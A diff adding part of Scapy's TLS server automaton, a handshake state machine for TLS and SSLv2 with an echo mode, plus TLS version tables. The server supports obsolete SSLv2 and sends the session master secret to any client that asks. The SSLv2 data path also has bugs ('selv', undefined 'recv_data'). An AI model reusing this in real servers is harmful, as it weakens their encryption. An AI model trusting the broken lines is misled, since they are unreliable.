+                         is_echo_server=True,
+                         max_client_idle_time=60,
+                         **kargs):
+
+        super(TLSServerAutomaton, self).parse_args(mycert=mycert,
+                                                   mykey=mykey,
+                                                   **kargs)
+        try:
+            if ':' in server:
+                inet_pton(socket.AF_INET6, server)
+            else:
+                inet_pton(socket.AF_INET, server)
+            tmp = socket.getaddrinfo(server, sport)
+        except:
+            tmp = socket.getaddrinfo(socket.getfqdn(server), sport)
+
+        self.serversocket = None
+        self.ip_family = tmp[0][0]
+        self.local_ip = tmp[0][4][0]
+        self.local_port = sport
+        self.remote_ip = None
+        self.remote_port = None
+
+        self.preferred_ciphersuite = preferred_ciphersuite
+        self.client_auth = client_auth
+        self.is_echo_server = is_echo_server
+        self.max_client_idle_time = max_client_idle_time
+
+
+    def vprint_sessioninfo(self):
+        if self.verbose:
+            s = self.cur_session
+            v = _tls_version[s.tls_version]
+            self.vprint("Version       : %s" % v)
+            cs = s.wcs.ciphersuite.name
+            self.vprint("Cipher suite  : %s" % cs)
+            ms = s.master_secret
+            self.vprint("Master secret : %s" % repr_hex(ms))
+            if s.client_certs:
+                self.vprint("Client certificate chain: %r" % s.client_certs)
+            self.vprint()
+
+    def http_sessioninfo(self):
+        header  = "HTTP/1.1 200 OK\r\n"
+        header += "Server: Scapy TLS Extension\r\n"
+        header += "Content-type: text/html\r\n"
+        header += "Content-length: %d\r\n\r\n"
+        s = "----- Scapy TLS Server Automaton -----\n\n"
+        s += "Information on current TLS session:\n\n"
+        s += "Local end     : %s:%d\n" % (self.local_ip, self.local_port)
+        s += "Remote end    : %s:%d\n" % (self.remote_ip, self.remote_port)
+        v = _tls_version[self.cur_session.tls_version]
+        s += "Version       : %s\n" % v
+        cs = self.cur_session.wcs.ciphersuite.name
+        s += "Cipher suite  : %s\n" % cs
+        ms = self.cur_session.master_secret
+        s += "Master secret : %s\n" % repr_hex(ms)
+        body = "<html><body><pre>%s</pre></body></html>\r\n\r\n" % s
+        answer = (header+body) % len(body)
+        return answer
+
+
+    @ATMT.state(initial=True)
+    def INITIAL(self):
+        self.vprint("Starting TLS server automaton.")
+        self.vprint("Receiving 'stop_server' will cause a graceful exit.")
+        self.vprint("Interrupting with Ctrl-Z might leave a loose socket hanging.")
+        raise self.BIND()
+
+    @ATMT.state()
+    def BIND(self):
+        s = socket.socket(self.ip_family, socket.SOCK_STREAM)
+        self.serversocket = s
+        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        try:
+            s.bind((self.local_ip, self.local_port))
+            s.listen(1)
+        except:
+            m = "Unable to bind on %s:%d!" % (self.local_ip, self.local_port)
+            self.vprint()
+            self.vprint(m)
+            self.vprint("Maybe some server is already listening there?")
+            self.vprint()
+            raise self.FINAL()
+        raise self.WAITING_CLIENT()
+
+    @ATMT.state()
+    def WAITING_CLIENT(self):
+        self.vprint()
+        self.vprint("Waiting for a new client on %s:%d" % (self.local_ip,
+                                                           self.local_port))
+        self.socket, addr = self.serversocket.accept()
+        if not isinstance(addr, tuple):
+            addr = self.socket.getpeername()
+        if len(addr) > 2:
+            addr = (addr[0], addr[1])
+        self.remote_ip, self.remote_port = addr
+        self.vprint("Accepted connection from %s:%d" % (self.remote_ip,
+                                                        self.remote_port))
+        self.vprint()
+        raise self.INIT_TLS_SESSION()
+
+    @ATMT.state()
+    def INIT_TLS_SESSION(self):
+        """
+        XXX We should offer the right key according to the client's suites. For
+        now server_rsa_key is only used for RSAkx, but we should try to replace
+        every server_key with both server_rsa_key and server_ecdsa_key.
+        """
+        self.cur_session = tlsSession(connection_end="server")
+        self.cur_session.server_certs = [self.mycert]
+        self.cur_session.server_key = self.mykey
+        if isinstance(self.mykey, PrivKeyRSA):
+            self.cur_session.server_rsa_key = self.mykey
+        #elif isinstance(self.mykey, PrivKeyECDSA):
+        #    self.cur_session.server_ecdsa_key = self.mykey
+        raise self.WAITING_CLIENTFLIGHT1()
+
+    @ATMT.state()
+    def WAITING_CLIENTFLIGHT1(self):
+        self.get_next_msg()
+        raise self.RECEIVED_CLIENTFLIGHT1()
+
+    @ATMT.state()
+    def RECEIVED_CLIENTFLIGHT1(self):
+        pass
+
+    ########################### TLS handshake #################################
+
+    @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=1)
+    def should_handle_ClientHello(self):
+        self.raise_on_packet(TLSClientHello,
+                             self.HANDLED_CLIENTHELLO)
+
+    @ATMT.state()
+    def HANDLED_CLIENTHELLO(self):
+        raise self.PREPARE_SERVERFLIGHT1()
+
+    @ATMT.condition(HANDLED_CLIENTHELLO)
+    def should_check_ciphersuites(self):
+        """
+        We extract cipher suites candidates from the client's proposition.
+        """
+        if isinstance(self.mykey, PrivKeyRSA):
+            kx = "RSA"
+        elif isinstance(self.mykey, PrivKeyECDSA):
+            kx = "ECDSA"
+        if get_usable_ciphersuites(self.cur_pkt.ciphers, kx):
+            return
+        raise self.NO_USABLE_CIPHERSUITE()
+
+    @ATMT.state()
+    def NO_USABLE_CIPHERSUITE(self):
+        self.vprint("No usable cipher suite!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=3)
+    def missing_ClientHello(self):
+        raise self.MISSING_CLIENTHELLO()
+
+    @ATMT.state(final=True)
+    def MISSING_CLIENTHELLO(self):
+        self.vprint("Missing ClientHello message!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def PREPARE_SERVERFLIGHT1(self):
+        self.add_record()
+
+    @ATMT.condition(PREPARE_SERVERFLIGHT1)
+    def should_add_ServerHello(self):
+        """
+        Selecting a cipher suite should be no trouble as we already caught
+        the None case previously.
+
+        Also, we do not manage extensions at all.
+        """
+        if isinstance(self.mykey, PrivKeyRSA):
+            kx = "RSA"
+        elif isinstance(self.mykey, PrivKeyECDSA):
+            kx = "ECDSA"
+        usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx)
+        c = usable_suites[0]
+        if self.preferred_ciphersuite in usable_suites:
+            c = self.preferred_ciphersuite
+        self.add_msg(TLSServerHello(cipher=c))
+        raise self.ADDED_SERVERHELLO()
+
+    @ATMT.state()
+    def ADDED_SERVERHELLO(self):
+        pass
+
+    @ATMT.condition(ADDED_SERVERHELLO)
+    def should_add_Certificate(self):
+        c = self.buffer_out[-1].msg[0].cipher
+        if not _tls_cipher_suites_cls[c].kx_alg.anonymous:
+            self.add_msg(TLSCertificate(certs=self.cur_session.server_certs))
+        raise self.ADDED_CERTIFICATE()
+
+    @ATMT.state()
+    def ADDED_CERTIFICATE(self):
+        pass
+
+    @ATMT.condition(ADDED_CERTIFICATE)
+    def should_add_ServerKeyExchange(self):
+        c = self.buffer_out[-1].msg[0].cipher
+        if not _tls_cipher_suites_cls[c].kx_alg.no_ske:
+            self.add_msg(TLSServerKeyExchange())
+        raise self.ADDED_SERVERKEYEXCHANGE()
+
+    @ATMT.state()
+    def ADDED_SERVERKEYEXCHANGE(self):
+        pass
+
+    @ATMT.condition(ADDED_SERVERKEYEXCHANGE)
+    def should_add_CertificateRequest(self):
+        if self.client_auth:
+            self.add_msg(TLSCertificateRequest())
+        raise self.ADDED_CERTIFICATEREQUEST()
+
+    @ATMT.state()
+    def ADDED_CERTIFICATEREQUEST(self):
+        pass
+
+    @ATMT.condition(ADDED_CERTIFICATEREQUEST)
+    def should_add_ServerHelloDone(self):
+        self.add_msg(TLSServerHelloDone())
+        raise self.ADDED_SERVERHELLODONE()
+
+    @ATMT.state()
+    def ADDED_SERVERHELLODONE(self):
+        pass
+
+    @ATMT.condition(ADDED_SERVERHELLODONE)
+    def should_send_ServerFlight1(self):
+        self.flush_records()
+        raise self.WAITING_CLIENTFLIGHT2()
+
+    @ATMT.state()
+    def WAITING_CLIENTFLIGHT2(self):
+        self.get_next_msg()
+        raise self.RECEIVED_CLIENTFLIGHT2()
+
+    @ATMT.state()
+    def RECEIVED_CLIENTFLIGHT2(self):
+        pass
+
+    @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=1)
+    def should_handle_ClientCertificate(self):
+        self.raise_on_packet(TLSCertificate,
+                             self.HANDLED_CLIENTCERTIFICATE)
+
+    @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=2)
+    def no_ClientCertificate(self):
+        if self.client_auth:
+            raise self.MISSING_CLIENTCERTIFICATE()
+        raise self.HANDLED_CLIENTCERTIFICATE()
+
+    @ATMT.state()
+    def MISSING_CLIENTCERTIFICATE(self):
+        self.vprint("Missing ClientCertificate!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def HANDLED_CLIENTCERTIFICATE(self):
+        if self.client_auth:
+            self.vprint("Received client certificate chain...")
+
+    @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=1)
+    def should_handle_ClientKeyExchange(self):
+        self.raise_on_packet(TLSClientKeyExchange,
+                             self.HANDLED_CLIENTKEYEXCHANGE)
+
+    @ATMT.state()
+    def HANDLED_CLIENTKEYEXCHANGE(self):
+        pass
+
+    @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=2)
+    def should_handle_Alert_from_ClientCertificate(self):
+        self.raise_on_packet(TLSAlert,
+                             self.HANDLED_ALERT_FROM_CLIENTCERTIFICATE)
+
+    @ATMT.state()
+    def HANDLED_ALERT_FROM_CLIENTCERTIFICATE(self):
+        self.vprint("Received Alert message instead of ClientKeyExchange!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=3)
+    def missing_ClientKeyExchange(self):
+        raise self.MISSING_CLIENTKEYEXCHANGE()
+
+    @ATMT.state()
+    def MISSING_CLIENTKEYEXCHANGE(self):
+        self.vprint("Missing ClientKeyExchange!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=1)
+    def should_handle_CertificateVerify(self):
+        self.raise_on_packet(TLSCertificateVerify,
+                             self.HANDLED_CERTIFICATEVERIFY)
+
+    @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=2)
+    def no_CertificateVerify(self):
+        if self.client_auth:
+            raise self.MISSING_CERTIFICATEVERIFY()
+        raise self.HANDLED_CERTIFICATEVERIFY()
+
+    @ATMT.state()
+    def MISSING_CERTIFICATEVERIFY(self):
+        self.vprint("Missing CertificateVerify!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def HANDLED_CERTIFICATEVERIFY(self):
+        pass
+
+    @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=1)
+    def should_handle_ChangeCipherSpec(self):
+        self.raise_on_packet(TLSChangeCipherSpec,
+                             self.HANDLED_CHANGECIPHERSPEC)
+
+    @ATMT.state()
+    def HANDLED_CHANGECIPHERSPEC(self):
+        pass
+
+    @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=2)
+    def should_handle_Alert_from_ClientKeyExchange(self):
+        self.raise_on_packet(TLSAlert,
+                             self.HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE)
+
+    @ATMT.state()
+    def HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE(self):
+        self.vprint("Received Alert message instead of ChangeCipherSpec!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=3)
+    def missing_ChangeCipherSpec(self):
+        raise self.MISSING_CHANGECIPHERSPEC()
+
+    @ATMT.state()
+    def MISSING_CHANGECIPHERSPEC(self):
+        self.vprint("Missing ChangeCipherSpec!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=1)
+    def should_handle_ClientFinished(self):
+        self.raise_on_packet(TLSFinished,
+                             self.HANDLED_CLIENTFINISHED)
+
+    @ATMT.state()
+    def HANDLED_CLIENTFINISHED(self):
+        raise self.PREPARE_SERVERFLIGHT2()
+
+    @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=2)
+    def should_handle_Alert_from_ClientFinished(self):
+        self.raise_on_packet(TLSAlert,
+                             self.HANDLED_ALERT_FROM_CHANGECIPHERSPEC)
+
+    @ATMT.state()
+    def HANDLED_ALERT_FROM_CHANGECIPHERSPEC(self):
+        self.vprint("Received Alert message instead of Finished!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=3)
+    def missing_ClientFinished(self):
+        raise self.MISSING_CLIENTFINISHED()
+
+    @ATMT.state()
+    def MISSING_CLIENTFINISHED(self):
+        self.vprint("Missing Finished!")
+        raise self.CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def PREPARE_SERVERFLIGHT2(self):
+        self.add_record()
+
+    @ATMT.condition(PREPARE_SERVERFLIGHT2)
+    def should_add_ChangeCipherSpec(self):
+        self.add_msg(TLSChangeCipherSpec())
+        raise self.ADDED_CHANGECIPHERSPEC()
+
+    @ATMT.state()
+    def ADDED_CHANGECIPHERSPEC(self):
+        pass
+
+    @ATMT.condition(ADDED_CHANGECIPHERSPEC)
+    def should_add_ServerFinished(self):
+        self.add_record()
+        self.add_msg(TLSFinished())
+        raise self.ADDED_SERVERFINISHED()
+
+    @ATMT.state()
+    def ADDED_SERVERFINISHED(self):
+        pass
+
+    @ATMT.condition(ADDED_SERVERFINISHED)
+    def should_send_ServerFlight2(self):
+        self.flush_records()
+        raise self.SENT_SERVERFLIGHT2()
+
+    @ATMT.state()
+    def SENT_SERVERFLIGHT2(self):
+        self.vprint("TLS handshake completed!")
+        self.vprint_sessioninfo()
+        if self.is_echo_server:
+            self.vprint("Will now act as a simple echo server.")
+        raise self.WAITING_CLIENTDATA()
+
+    ####################### end of TLS handshake ##############################
+
+    @ATMT.state()
+    def WAITING_CLIENTDATA(self):
+        self.get_next_msg(self.max_client_idle_time, 1)
+        raise self.RECEIVED_CLIENTDATA()
+
+    @ATMT.state()
+    def RECEIVED_CLIENTDATA(self):
+        pass
+
+    @ATMT.condition(RECEIVED_CLIENTDATA)
+    def should_handle_ClientData(self):
+        if not self.buffer_in:
+            self.vprint("Client idle time maxed out.")
+            raise self.CLOSE_NOTIFY()
+        p = self.buffer_in[0]
+        self.buffer_in = self.buffer_in[1:]
+
+        recv_data = b""
+        if isinstance(p, TLSApplicationData):
+            print("> Received: %r" % p.data)
+            recv_data = p.data
+            lines = recv_data.split(b"\n")
+            stop = False
+            for l in lines:
+                if l.startswith(b"stop_server"):
+                    stop = True
+                    break
+            if stop:
+                raise self.CLOSE_NOTIFY_FINAL()
+        elif isinstance(p, TLSAlert):
+            print("> Received: %r" % p)
+            raise self.CLOSE_NOTIFY()
+        else:
+            print("> Received: %r" % p)
+
+        if recv_data.startswith(b"GET / HTTP/1.1"):
+            p = TLSApplicationData(data=self.http_sessioninfo())
+
+        if self.is_echo_server or recv_data.startswith(b"GET / HTTP/1.1"):
+            self.add_record()
+            self.add_msg(p)
+            raise self.ADDED_SERVERDATA()
+
+        raise self.HANDLED_CLIENTDATA()
+
+    @ATMT.state()
+    def HANDLED_CLIENTDATA(self):
+        raise self.WAITING_CLIENTDATA()
+
+    @ATMT.state()
+    def ADDED_SERVERDATA(self):
+        pass
+
+    @ATMT.condition(ADDED_SERVERDATA)
+    def should_send_ServerData(self):
+        self.flush_records()
+        raise self.SENT_SERVERDATA()
+
+    @ATMT.state()
+    def SENT_SERVERDATA(self):
+        raise self.WAITING_CLIENTDATA()
+
+    @ATMT.state()
+    def CLOSE_NOTIFY(self):
+        self.vprint()
+        self.vprint("Sending a TLSAlert to the client...")
+
+    @ATMT.condition(CLOSE_NOTIFY)
+    def close_session(self):
+        self.add_record()
+        self.add_msg(TLSAlert(level=1, descr=0))
+        try:
+            self.flush_records()
+        except:
+            self.vprint("Could not send termination Alert, maybe the client left?")
+            self.buffer_out = []
+        self.socket.close()
+        raise self.WAITING_CLIENT()
+
+    @ATMT.state()
+    def CLOSE_NOTIFY_FINAL(self):
+        self.vprint()
+        self.vprint("Sending a TLSAlert to the client...")
+
+    @ATMT.condition(CLOSE_NOTIFY_FINAL)
+    def close_session_final(self):
+        self.add_record()
+        self.add_msg(TLSAlert(level=1, descr=0))
+        try:
+            self.flush_records()
+        except:
+            self.vprint("Could not send termination Alert, maybe the client left?")
+        # We might call shutdown, but unit tests with s_client fail with this.
+        #self.socket.shutdown(1)
+        self.socket.close()
+        raise self.FINAL()
+
+    ########################## SSLv2 handshake ################################
+
+    @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=2)
+    def sslv2_should_handle_ClientHello(self):
+        self.raise_on_packet(SSLv2ClientHello,
+                             self.SSLv2_HANDLED_CLIENTHELLO)
+
+    @ATMT.state()
+    def SSLv2_HANDLED_CLIENTHELLO(self):
+        pass
+
+    @ATMT.condition(SSLv2_HANDLED_CLIENTHELLO)
+    def sslv2_should_add_ServerHello(self):
+        self.add_record(is_sslv2=True)
+        cert = self.mycert
+        ciphers = [0x010080, 0x020080, 0x030080, 0x040080,
+                   0x050080, 0x060040, 0x0700C0]
+        connection_id = randstring(16)
+        p = SSLv2ServerHello(cert=cert,
+                             ciphers=ciphers,
+                             connection_id=connection_id)
+        self.add_msg(p)
+        raise self.SSLv2_ADDED_SERVERHELLO()
+
+    @ATMT.state()
+    def SSLv2_ADDED_SERVERHELLO(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_SERVERHELLO)
+    def sslv2_should_send_ServerHello(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_SERVERHELLO()
+
+    @ATMT.state()
+    def SSLv2_SENT_SERVERHELLO(self):
+        raise self.SSLv2_WAITING_CLIENTMASTERKEY()
+
+    @ATMT.state()
+    def SSLv2_WAITING_CLIENTMASTERKEY(self):
+        self.get_next_msg()
+        raise self.SSLv2_RECEIVED_CLIENTMASTERKEY()
+
+    @ATMT.state()
+    def SSLv2_RECEIVED_CLIENTMASTERKEY(self):
+        pass
+
+    @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=1)
+    def sslv2_should_handle_ClientMasterKey(self):
+        self.raise_on_packet(SSLv2ClientMasterKey,
+                             self.SSLv2_HANDLED_CLIENTMASTERKEY)
+
+    @ATMT.condition(SSLv2_RECEIVED_CLIENTMASTERKEY, prio=2)
+    def missing_ClientMasterKey(self):
+        raise self.SSLv2_MISSING_CLIENTMASTERKEY()
+
+    @ATMT.state()
+    def SSLv2_MISSING_CLIENTMASTERKEY(self):
+        self.vprint("Missing SSLv2 ClientMasterKey!")
+        raise self.SSLv2_CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def SSLv2_HANDLED_CLIENTMASTERKEY(self):
+        raise self.SSLv2_RECEIVED_CLIENTFINISHED()
+
+    @ATMT.state()
+    def SSLv2_RECEIVED_CLIENTFINISHED(self):
+        pass
+
+    @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=1)
+    def sslv2_should_handle_ClientFinished(self):
+        self.raise_on_packet(SSLv2ClientFinished,
+                             self.SSLv2_HANDLED_CLIENTFINISHED)
+
+    @ATMT.state()
+    def SSLv2_HANDLED_CLIENTFINISHED(self):
+        pass
+
+    @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=1)
+    def sslv2_should_add_ServerVerify_from_ClientFinished(self):
+        hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed]
+        if SSLv2ServerVerify in hs_msg:
+            return
+        self.add_record(is_sslv2=True)
+        p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge)
+        self.add_msg(p)
+        raise self.SSLv2_ADDED_SERVERVERIFY()
+
+    @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=2)
+    def sslv2_should_add_ServerVerify_from_NoClientFinished(self):
+        hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed]
+        if SSLv2ServerVerify in hs_msg:
+            return
+        self.add_record(is_sslv2=True)
+        p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge)
+        self.add_msg(p)
+        raise self.SSLv2_ADDED_SERVERVERIFY()
+
+    @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=3)
+    def sslv2_missing_ClientFinished(self):
+        raise self.SSLv2_MISSING_CLIENTFINISHED()
+
+    @ATMT.state()
+    def SSLv2_MISSING_CLIENTFINISHED(self):
+        self.vprint("Missing SSLv2 ClientFinished!")
+        raise self.SSLv2_CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def SSLv2_ADDED_SERVERVERIFY(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_SERVERVERIFY)
+    def sslv2_should_send_ServerVerify(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_SERVERVERIFY()
+
+    @ATMT.state()
+    def SSLv2_SENT_SERVERVERIFY(self):
+        hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed]
+        if SSLv2ClientFinished in hs_msg:
+            raise self.SSLv2_HANDLED_CLIENTFINISHED()
+        else:
+            raise self.SSLv2_RECEIVED_CLIENTFINISHED()
+
+    ####################### SSLv2 client authentication #######################
+
+    @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=2)
+    def sslv2_should_add_RequestCertificate(self):
+        hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed]
+        if not self.client_auth or SSLv2RequestCertificate in hs_msg:
+            return
+        self.add_record(is_sslv2=True)
+        self.add_msg(SSLv2RequestCertificate(challenge=randstring(16)))
+        raise self.SSLv2_ADDED_REQUESTCERTIFICATE()
+
+    @ATMT.state()
+    def SSLv2_ADDED_REQUESTCERTIFICATE(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_REQUESTCERTIFICATE)
+    def sslv2_should_send_RequestCertificate(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_REQUESTCERTIFICATE()
+
+    @ATMT.state()
+    def SSLv2_SENT_REQUESTCERTIFICATE(self):
+        raise self.SSLv2_WAITING_CLIENTCERTIFICATE()
+
+    @ATMT.state()
+    def SSLv2_WAITING_CLIENTCERTIFICATE(self):
+        self.get_next_msg()
+        raise self.SSLv2_RECEIVED_CLIENTCERTIFICATE()
+
+    @ATMT.state()
+    def SSLv2_RECEIVED_CLIENTCERTIFICATE(self):
+        pass
+
+    @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=1)
+    def sslv2_should_handle_ClientCertificate(self):
+        self.raise_on_packet(SSLv2ClientCertificate,
+                             self.SSLv2_HANDLED_CLIENTCERTIFICATE)
+
+    @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=2)
+    def sslv2_missing_ClientCertificate(self):
+        raise self.SSLv2_MISSING_CLIENTCERTIFICATE()
+
+    @ATMT.state()
+    def SSLv2_MISSING_CLIENTCERTIFICATE(self):
+        self.vprint("Missing SSLv2 ClientCertificate!")
+        raise self.SSLv2_CLOSE_NOTIFY()
+
+    @ATMT.state()
+    def SSLv2_HANDLED_CLIENTCERTIFICATE(self):
+        selv.vprint("Received client certificate...")
+        # We could care about the client CA, but we don't.
+        raise self.SSLv2_HANDLED_CLIENTFINISHED()
+
+    ################### end of SSLv2 client authentication ####################
+
+    @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=3)
+    def sslv2_should_add_ServerFinished(self):
+        self.add_record(is_sslv2=True)
+        self.add_msg(SSLv2ServerFinished(sid=randstring(16)))
+        raise self.SSLv2_ADDED_SERVERFINISHED()
+
+    @ATMT.state()
+    def SSLv2_ADDED_SERVERFINISHED(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_SERVERFINISHED)
+    def sslv2_should_send_ServerFinished(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_SERVERFINISHED()
+
+    @ATMT.state()
+    def SSLv2_SENT_SERVERFINISHED(self):
+        self.vprint("SSLv2 handshake completed!")
+        self.vprint_sessioninfo()
+        if self.is_echo_server:
+            self.vprint("Will now act as a simple echo server.")
+        raise self.SSLv2_WAITING_CLIENTDATA()
+
+    ######################## end of SSLv2 handshake ###########################
+
+    @ATMT.state()
+    def SSLv2_WAITING_CLIENTDATA(self):
+        self.get_next_msg(self.max_client_idle_time, 1)
+        raise self.SSLv2_RECEIVED_CLIENTDATA()
+
+    @ATMT.state()
+    def SSLv2_RECEIVED_CLIENTDATA(self):
+        pass
+
+    @ATMT.condition(SSLv2_RECEIVED_CLIENTDATA)
+    def sslv2_should_handle_ClientData(self):
+        if not self.buffer_in:
+            self.vprint("Client idle time maxed out.")
+            raise self.SSLv2_CLOSE_NOTIFY()
+        p = self.buffer_in[0]
+        self.buffer_in = self.buffer_in[1:]
+        if hasattr(p, "load"):
+            cli_data = p.load
+            print("> Received: %r" % cli_data)
+            if cli_data.startswith(b"goodbye"):
+                self.vprint()
+                self.vprint("Seems like the client left...")
+                raise self.WAITING_CLIENT()
+        else:
+            cli_data = str(p)
+            print("> Received: %r" % p)
+
+        lines = cli_data.split(b"\n")
+        stop = False
+        for l in lines:
+            if l.startswith(b"stop_server"):
+                stop = True
+                break
+        if stop:
+            raise self.SSLv2_CLOSE_NOTIFY_FINAL()
+
+        answer = b""
+        if cli_data.startswith(b"GET / HTTP/1.1"):
+            p = Raw(self.http_sessioninfo())
+
+        if self.is_echo_server or recv_data.startswith(b"GET / HTTP/1.1"):
+            self.add_record(is_sslv2=True)
+            self.add_msg(p)
+            raise self.SSLv2_ADDED_SERVERDATA()
+
+        raise self.SSLv2_HANDLED_CLIENTDATA()
+
+    @ATMT.state()
+    def SSLv2_HANDLED_CLIENTDATA(self):
+        raise self.SSLv2_WAITING_CLIENTDATA()
+
+    @ATMT.state()
+    def SSLv2_ADDED_SERVERDATA(self):
+        pass
+
+    @ATMT.condition(SSLv2_ADDED_SERVERDATA)
+    def sslv2_should_send_ServerData(self):
+        self.flush_records()
+        raise self.SSLv2_SENT_SERVERDATA()
+
+    @ATMT.state()
+    def SSLv2_SENT_SERVERDATA(self):
+        raise self.SSLv2_WAITING_CLIENTDATA()
+
+    @ATMT.state()
+    def SSLv2_CLOSE_NOTIFY(self):
+        """
+        There is no proper way to end an SSLv2 session.
+        We try and send a 'goodbye' message as a substitute.
+        """
+        self.vprint()
+        self.vprint("Trying to send 'goodbye' to the client...")
+
+    @ATMT.condition(SSLv2_CLOSE_NOTIFY)
+    def sslv2_close_session(self):
+        self.add_record()
+        self.add_msg(Raw('goodbye'))
+        try:
+            self.flush_records()
+        except:
+            self.vprint("Could not send our goodbye. The client probably left.")
+            self.buffer_out = []
+        self.socket.close()
+        raise self.WAITING_CLIENT()
+
+    @ATMT.state()
+    def SSLv2_CLOSE_NOTIFY_FINAL(self):
+        """
+        There is no proper way to end an SSLv2 session.
+        We try and send a 'goodbye' message as a substitute.
+        """
+        self.vprint()
+        self.vprint("Trying to send 'goodbye' to the client...")
+
+    @ATMT.condition(SSLv2_CLOSE_NOTIFY_FINAL)
+    def sslv2_close_session_final(self):
+        self.add_record()
+        self.add_msg(Raw('goodbye'))
+        try:
+            self.flush_records()
+        except:
+            self.vprint("Could not send our goodbye. The client probably left.")
+        self.socket.close()
+        raise self.FINAL()
+
+    @ATMT.state(final=True)
+    def FINAL(self):
+        self.vprint("Closing server socket...")
+        self.serversocket.close()
+        self.vprint("Ending TLS server automaton.")
+
diff --git a/scapy/layers/tls/basefields.py b/scapy/layers/tls/basefields.py
new file mode 100644
index 0000000..698b50b
--- /dev/null
+++ b/scapy/layers/tls/basefields.py
@@ -0,0 +1,256 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS base fields, used for record parsing/building. As several operations depend
+upon the TLS version or ciphersuite, the packet has to provide a TLS context.
+"""
+
+from scapy.fields import *
+import scapy.modules.six as six
+
+_tls_type = { 20: "change_cipher_spec",
+              21: "alert",
+              22: "handshake",
+              23: "application_data" }
+
+_tls_version = { 0x0002: "SSLv2",
+                 0x0200: "SSLv2",
+                 0x0300: "SSLv3",
+                 0x0301: "TLS 1.0",
+                 0x0302: "TLS 1.1",
+                 0x0303: "TLS 1.2",
+                 0x7f12: "TLS 1.3-d18",
+                 0x7f13: "TLS 1.3-d19",
+                 0x0304: "TLS 1.3" }
+
+_tls_version_options = { "sslv2": 0x0002,
+                         "sslv3": 0x0300,
+                         "tls1" : 0x0301,
+                         "tls10": 0x0301,
+                         "tls11": 0x0302,
+                         "tls12": 0x0303,
+                         "tls13-d18": 0x7f12,
+                         "tls13-d19": 0x7f13,
+                         "tls13": 0x0304 }
+
+def _tls13_version_filter(version, legacy_version):
+    if version < 0x0304:
+        return version
+    else:
+        return legacy_version
+
+class _TLSClientVersionField(ShortEnumField):
+    """
+    We use the advertised_tls_version if it has been defined,
+    and the legacy 0x0303 for TLS 1.3 packets.
+    """
+    def i2h(self, pkt, x):
+        if x is None:
+            v = pkt.tls_session.advertised_tls_version
+            if v:
+                return _tls13_version_filter(v, 0x0303)
+            return ""
+        return x
+
+    def i2m(self, pkt, x):
+        if x is None:
+            v = pkt.tls_session.advertised_tls_version
+            if v:
+                return _tls13_version_filter(v, 0x0303)
+            return b""
+        return x
+
+
+class _TLSVersionField(ShortEnumField):
+    """
+    We use the tls_version if it has been defined, else the advertised version.
+    Also, the legacy 0x0301 is used for TLS 1.3 packets.
+    """
+    def i2h(self, pkt, x):
+        if x is None:
+            v = pkt.tls_session.tls_version
+            if v:
+                return _tls13_version_filter(v, 0x0301)
+            else:
+                adv_v = pkt.tls_session.advertised_tls_version
+                return _tls13_version_filter(adv_v, 0x0301)
+        return x
+
+    def i2m(self, pkt, x):
+        if x is None:
+            v = pkt.tls_session.tls_version
+            if v:
+                return _tls13_version_filter(v, 0x0301)
+            else:
+                adv_v = pkt.tls_session.advertised_tls_version
